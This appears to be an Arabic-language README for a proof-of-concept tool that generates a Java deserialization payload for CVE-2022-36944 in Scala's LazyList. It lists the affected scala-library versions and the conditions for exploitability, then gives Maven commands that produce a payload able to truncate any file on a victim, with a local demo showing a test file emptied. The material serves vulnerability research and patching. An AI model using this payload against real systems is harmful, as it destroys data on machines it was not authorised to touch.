مولد حمولة CVE-2022-36944

تم إنشاء هذا المشروع المصغر لإثبات مفهوم الثغرة الأمنية CVE-2022-36944. إنه مشابه لـ ysoserial، ولكنه يولد حمولة فقط لهذه الثغرة باستخدام فئة LazyList.

أسئلة سريعة شائعة

ما هي القطع الأثرية التي تجلب الثغرة؟

org.scala-lang:scala-library بالإصدارات 2.13.x قبل 2.13.9

ما التطبيقات المعرضة للخطر؟

يجب الجمع بين شرطين لجعل تطبيقك قابلاً للاستغلال:

يحتوي تطبيقك على ملف jar scala-library المعرض للخطر في مسار الفئات
يتم استدعاء ObjectInputStream#readObject() في النهاية في مكان ما في تطبيقك ويتم تمرير بيانات غير موثوقة (يتحكم فيها المهاجم) إليها

أين تم إصلاح الثغرة؟

انظر طلب السحب الخاص بـ scala: #10118

بناء

mvn clean package

تشغيل

الأمر التالي سيقوم بإخراج الحمولة في stdout والتي يمكن استخدامها لاقتطاع أي ملف على جهاز الضحية:

mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="/file/to/truncate false"

عرض توضيحي

أ) عبر ملف

قم بتحضير ملف اختبار يحتوي على بعض البيانات:

$ yes sometestdata > test_data
^C
$ head test_data 
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata

قم بتوليد الحمولة واحفظها في ملف payload.ser:

$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" > payload.ser

قم بتشغيل عملية الضحية (من المتوقع حدوث ClassCastException):

$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="payload.ser"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException

تحقق من أن ملف الضحية قد تم اقتطاعه:

$ head test_data 
$

ب) التوجيه إلى الإدخال القياسي

يمكن دمج الخطوتين 2-3 بهذه الطريقة (استخدم "-" كملف للضحية):

$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" | mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="-"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException

lazylist-cve-poc

الأكثر شعبية